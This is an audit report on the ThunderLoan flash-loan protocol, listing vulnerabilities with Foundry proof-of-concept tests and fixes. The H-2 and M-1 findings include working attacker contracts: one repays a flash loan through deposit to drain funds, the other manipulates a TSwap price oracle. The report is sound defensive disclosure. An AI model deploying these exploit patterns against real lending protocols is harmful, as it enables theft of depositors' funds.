Protocol Audit Report

Version 1.0

pureGavin

August 20, 2025

Protocol Audit Report

pureGavin

2025-08-20

Prepared by: [pureGavin] Lead Auditors: - pureGavin

Table of Contents

    * [M-1] `OracleUpgradeable::getPriceInWeth` is subject to a price prediction attack because it calls TSwap's function for getting a price

  - Low
    * [L-1] `IThunderLoan::IThunderLoan` wrong way to call functions
  - Informational
    * [I-1] `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` Unused error
    * [I-2] `ThunderLoan::s_feePrecision` constant variable, should be changed to immutable or constant
    * [I-3] Missing natspec.
    * [I-4] Unused internal function
    * [I-5] Unused import
    * [I-6] `ThunderLoan::updateFlashLoanFee`missing events
    * [I-7] `IThunderLoan::IThunderLoan`unused interface

Protocol Summary

The `ThunderLoan` protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The pureGavin team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	number of issues
High	3
Medium	1
Low	1
Informational	7
total	12

Findings

High

[H-1] `ThunderLoan::deposit` Rates should not be updated at the time of deposit

Description: When the `deposit` function is called to make a deposit, the `updateExchangeRate` function is called to update the rate, which can result in a higher fee value than the actual value

Impact: The ratio is updated every time `deposit` is called, which means that this vulnerability is triggered every time `deposit` is called, and when there are too many calls, there may be a situation where the FEE is more than the total balance of the pool

Proof of Concept:

PoC code

Put the following code in `ThunderLoanTest.t.sol`

```
    function testRedeem() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

```
[FAIL: ERC20InsufficientBalance(0
    xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1
    e21], 1003300900000000000000 [1.003e21])] testRedeem() (gas:
    1789499)
```

According to the prediction, `1000.3e18` should have been returned when `testRedeem` was called, but `1003.3009e18` was actually returned, which suggests that the `updateExchangeRate` function was called in the `deposit` function, which resulted in a higher value of fee than the actual value

Recommended Mitigation:

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] `ThunderLoan::flashloan` determines the balance before the end, causing an attacker to be able to take out all the balance in full

Description: The `ThunderLoan::flashloan` function determines at the end whether the starting balance +fee is greater than the ending balance, and revert if it is less than that, but there is no

determination in the `deposit` function as to whether there is an ongoing loan at the time of the deposit, which would allow an attacker to call the `deposit` function during the loan, and thus steal all the balances when the `flashloan` function fails to revert at the final judgment, thus stealing the entire balance.

```
1      function flashloan(
2          address receiverAddress,
3          IERC20 token,
4          uint256 amount,
5          bytes calldata params
6      )
7          external
8          revertIfZero(amount)
9          revertIfNotAllowedToken(token)
10     {
11 .
12 .
13 .
14         uint256 endingBalance = token.balanceOf(address(assetToken));
15 @>      if (endingBalance < startingBalance + fee) {
16             revert ThunderLoan__NotPaidBack(startingBalance + fee,
                   endingBalance);
17         }
18         s_currentlyFlashLoaning[token] = false;
19     }
```

Impact: The `deposit` lacks the necessary judgment to invalidate the entire `ThunderLoan` contract, and the user loses all of his deposits.

Proof of Concept:

PoC code

Put the following code in `ThunderLoanTest.t.sol`

```
1  contract DepositOverRepay is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      AssetToken assetToken;
4      IERC20 s_token;
5
6      constructor(address _thunderLoan) {
7          thunderLoan = ThunderLoan(_thunderLoan);
8      }
9
10     function executeOperation( address token, uint256 amount, uint256
           fee, address initiator, bytes calldata params) external returns
           (bool) {
11         s_token = IERC20(token);
12         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
13         IERC20(token).approve(address(thunderLoan), amount + fee);
```

```
14          thunderLoan.deposit(IERC20(token), amount + fee);
15          return true;
16      }
17
18      function redeemMoney() public {
19          uint256 amount = assetToken.balanceOf(address(this));
20          thunderLoan.redeem(s_token, amount);
21      }
22  }
```

Put the following code into the `ThunderLoanTest.t.sol::ThunderLoanTest` contract

```
1       function testDepositOverRepay() public setAllowedToken hasDeposits
            {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
5           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
                ));
6           tokenA.mint(address(dor), fee);
7           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
                ;
8           vm.stopPrank();
9
10          dor.redeemMoney();
11
12          assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
13      }
```

```
1   Logs:
2     balance of dor is:  50157185829891086986
3     balance of dor should be:  50150000000000000000
```

Recommended Mitigation:

```
1       error ThunderLoan__ExhangeRateCanOnlyIncrease();
2       error ThunderLoan__NotCurrentlyFlashLoaning();
3   +   error ThunderLoan__FlashLoanInProgress();
4
5       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
6   +       if (s_currentlyFlashLoaning[token]) {
7   +           revert ThunderLoan__FlashLoanInProgress();
8   +       }
9           AssetToken assetToken = s_tokenToAssetToken[token];
10          uint256 exchangeRate = assetToken.getExchangeRate();
11          uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
12          emit Deposit(msg.sender, token, amount);
13          assetToken.mint(msg.sender, mintAmount);
```

```
14
15          uint256 calculatedFee = getCalculatedFee(token, amount);
16          assetToken.updateExchangeRate(calculatedFee);
17          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
18      }
```

[H-3] `ThunderLoanUpgraded.sol` Wrong order of variable declarations can cause storage slots to get messed up

Description: When upgrading `ThunderLoan` using `ThunderLoanUpgraded.sol`, the storage slots are incorrectly overwritten due to the wrong order of variable declarations, which in turn affects the actual values of the variables within the contract.

```
1       /*//////////////////////////////////////////////////////////////
2                                 STATE VARIABLES
3       //////////////////////////////////////////////////////////////*/
4       mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
5
6       // The fee in WEI, it should have 18 decimals. Each flash loan
            takes a flat fee of the token price.
7       uint256 private s_feePrecision;
8   @>  uint256 private s_flashLoanFee; // 0.3% ETH fee
```

```
1       /*//////////////////////////////////////////////////////////////
2                                 STATE VARIABLES
3       //////////////////////////////////////////////////////////////*/
4       mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
5
6       // The fee in WEI, it should have 18 decimals. Each flash loan
            takes a flat fee of the token price.
7       uint256 private s_flashLoanFee; // 0.3% ETH fee
8   @>  uint256 public constant FEE_PRECISION = 1e18;
```

Impact: In this contract upgrade, only the FEE will be affected, nevertheless, since the FEE is charged every time a flash loan is made, the impact is ongoing, and an incorrect FEE can lead to a miscalculation of the value of the assets in the contract, which can affect the user's deposits and withdrawals.

Proof of Concept:

PoC code

Put the following code in `ThunderLoanTest.t.sol`

```
1       function testUpgrade() public {
2           uint256 feeBeforeUpgrade = thunderLoan.getFee();
3           vm.startPrank(thunderLoan.owner());
```

```
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("fee before upgrade is: ", feeBeforeUpgrade);
        console2.log("fee after upgrade is: ", feeAfterUpgrade);
        assert(feeAfterUpgrade != feeBeforeUpgrade);
    }
```

```
Logs:
  fee before upgrade is:  3000000000000000
  fee after upgrade is:  1000000000000000000
```

Recommended Mitigation: During contract upgrades, the order of variables should not be modified arbitrarily and should be kept in the same order as the previous version to avoid incorrect overwriting of storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;

+    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

or

```
+   uint256 private s_blank;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Midium

[M-1] `OracleUpgradeable::getPriceInWeth` is subject to a price prediction attack because it calls TSwap's function for getting a price

Description: The call to the `getCalculatedFee` function in `ThunderLoan::flashloan` is used to get the fee, which in turn calls `OracleUpgradeable::getPriceInWeth`, which affects `TSwap`'s price as it is affected by the pool's money. ThunderLoan''s fee, which leads to the price prediction

```
    function flashloan(
.
.
.

        if (receiverAddress.code.length == 0) {
```

```
7                 revert ThunderLoan__CallerIsNotContract();
8             }
9
10 @>          uint256 fee = getCalculatedFee(token, amount);
11 .
12 .
13 .
14        function getCalculatedFee(IERC20 token, uint256 amount) public view
              returns (uint256 fee) {
15 @>          uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
          (token))) / s_feePrecision;
16            fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
17        }
```

```
1         function getPriceInWeth(address token) public view returns (uint256
              ) {
2             address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
                  token);
3 @>          return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
          ();
4         }
```

Impact: This vulnerability is bound to be triggered every time `flashloan` is used, and this vulnerability can lead to an anomaly in the FEE price of `flashloan`, which can lead to a monetary loss of the agreement

Proof of Concept:

PoC code

Put the following code into the `ThunderLoanTest.t.sol` contract for `ThunderLoanTest`

```
1         function testOracleManipulation() public {
2             thunderLoan = new ThunderLoan();
3             tokenA = new ERC20Mock();
4             proxy = new ERC1967Proxy(address(thunderLoan), "");
5             BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
                  ;
6
7             address tswapPool = pf.createPool(address(tokenA));
8             thunderLoan = ThunderLoan(address(proxy));
9             thunderLoan.initialize(address(pf));
10
11            vm.startPrank(liquidityProvider);
12            tokenA.mint(liquidityProvider, 100e18);
13            tokenA.approve(address(tswapPool), 100e18);
14            weth.mint(liquidityProvider, 100e18);
15            weth.approve(address(tswapPool), 100e18);
16            BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                  timestamp);
17            vm.stopPrank();
```

```
18
19          vm.prank(thunderLoan.owner());
20          thunderLoan.setAllowedToken(tokenA, true);
21          vm.startPrank(liquidityProvider);
22          tokenA.mint(liquidityProvider, 1000e18);
23          tokenA.approve(address(thunderLoan), 1000e18);
24          thunderLoan.deposit(tokenA, 1000e18);
25          vm.stopPrank();
26
27          uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18
                );
28          console2.log("normalFee is: ", normalFee);
29
30          uint256 amountToBorrow = 50e18;
31          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA)));
32
33          vm.startPrank(user);
34          tokenA.mint(address(flr), 100e18);
35          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
36          vm.stopPrank();
37
38          uint256 attackFee = flr.feeOne() + flr.feeTwo();
39          console2.log("attackFee is: ", attackFee);
40          assert(attackFee < normalFee);
41      }
```

Put the following code in `ThunderLoanTest.t.sol`

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2      ThunderLoan thunderLoan;
3      address repayAddress;
4      BuffMockTSwap tswapPool;
5      bool attack;
6      uint256 public feeOne;
7      uint256 public feeTwo;
8
9      constructor(address _tswapPool, address _thunderLoan, address
           _repayAddress) {
10         thunderLoan = ThunderLoan(_thunderLoan);
11         repayAddress = _repayAddress;
12         tswapPool = BuffMockTSwap(_tswapPool);
13     }
14
15     function executeOperation( address token, uint256 amount, uint256
           fee, address initiator, bytes calldata params) external returns
           (bool) {
16         if (!attack) {
17             feeOne = fee;
```

```
18              attack = true;
19              uint256 wethBrought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
20              IERC20(token).approve(address(tswapPool), 50e18);
21              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBrought, block.timestamp);
22              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
23              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
24          } else {
25              feeTwo = fee;
26              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
27          }
28          return true;
29      }
30  }
```

```
1  Logs:
2    normalFee is:  296147410319118389
3    attackFee is:  214167600932190305
```

Recommended Mitigation: It is recommended to use other price prediction mechanisms, such as Chainlink

Low

[L-1] `IThunderLoan::IThunderLoan` wrong way to call functions

Description: The first argument to the `repay` function is of type `IERC20`, but the `address` type is passed in at the time of the call, which can result in a type mismatch error.

```
1  interface IThunderLoan {
2  @>  function repay(address token, uint256 amount) external;
3  }
4  .
5  .
6  .
7  @>  function repay(IERC20 token, uint256 amount) public {
8          if (!s_currentlyFlashLoaning[token]) {
9              revert ThunderLoan__NotCurrentlyFlashLoaning();
10         }
11         AssetToken assetToken = s_tokenToAssetToken[token];
12         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
13     }
```

Impact: The wrong way to call the function will cause a type mismatch error to be raised every time this interface is called, But since this interface is not called in `ThunderLoan.sol`, it won't make much of an impact as far as I can tell.

Recommended Mitigation:

```
interface IThunderLoan {
-   function repay(address token, uint256 amount) external;
+   function repay(IERC20 token, uint256 amount) external;
}
```

Informational

[I-1] `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` Unused error

Recommended Mitigation: Unused error, recommended to be removed.

```
@>  error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-2] `ThunderLoan::s_feePrecision` constant variable, should be changed to immutable or constant

Recommended Mitigation:

```
-   uint256 private s_feePrecision;
+   uint256 private constant s_feePrecision = 1e18;
.
.
.
    function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
-       s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

[I-3] Missing natspec.

Description: In `ThunderLoan.so`, the following function is missing natspec

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount)

```

```
3       function flashloan(
4           address receiverAddress,
5           IERC20 token,
6           uint256 amount,
7           bytes calldata params
8       )
9
10      function repay(IERC20 token, uint256 amount)
11
12      function setAllowedToken(IERC20 token, bool allowed)
13
14      function getCalculatedFee(IERC20 token, uint256 amount)
15
16      function updateFlashLoanFee(uint256 newFee)
17
18      function isAllowedToken(IERC20 token)
19
20      function getAssetFromToken(IERC20 token)
21
22      function isCurrentlyFlashLoaning(IERC20 token)
23
24      function getFee()
25
26      function getFeePrecision()
27
28      function _authorizeUpgrade(address newImplementation)
```

[I-4] Unused internal function

Recommended Mitigation: `ThunderLoan::repay` is never used inside the contract, suggest changing public to external

```
1  -    function repay(IERC20 token, uint256 amount) public {
2  +    function repay(IERC20 token, uint256 amount) external {
3
4  -    function getAssetFromToken(IERC20 token) public view returns (
       AssetToken) {
5  +    function getAssetFromToken(IERC20 token) external view returns (
       AssetToken) {
6
7  -    function isCurrentlyFlashLoaning(IERC20 token) public view returns
       (bool) {
8  +    function isCurrentlyFlashLoaning(IERC20 token) external view
       returns (bool) {
```

[I-5] Unused import

Description: `IFlashLoanReceiver.sol` unused import

```
1 @>  import { IThunderLoan } from "./IThunderLoan.sol";
```

[I-6] `ThunderLoan::updateFlashLoanFee`missing events

Recommended Mitigation: `ThunderLoan::updateFlashLoanFee` needs to trigger an event after the fee update is complete.

```
1      event FlashLoan(address indexed receiverAddress, IERC20 indexed
          token, uint256 amount, uint256 fee, bytes params);
2  +   event UpdateLoanFee(address indexed account);
3  .
4  .
5  .
6       function updateFlashLoanFee(uint256 newFee) external onlyOwner {
7          if (newFee > s_feePrecision) {
8              revert ThunderLoan__BadNewFee();
9          }
10         s_flashLoanFee = newFee;
11 +       emit UpdateLoanFee(msg.sender);
12     }
```

[I-7] `IThunderLoan::IThunderLoan`unused interface

Recommended Mitigation: Since there is only this one interface in `IThunderLoan.sol`, but this interface is not used in `ThunderLoan.sol`, you can remove the entire `IThunderLoan.sol` file.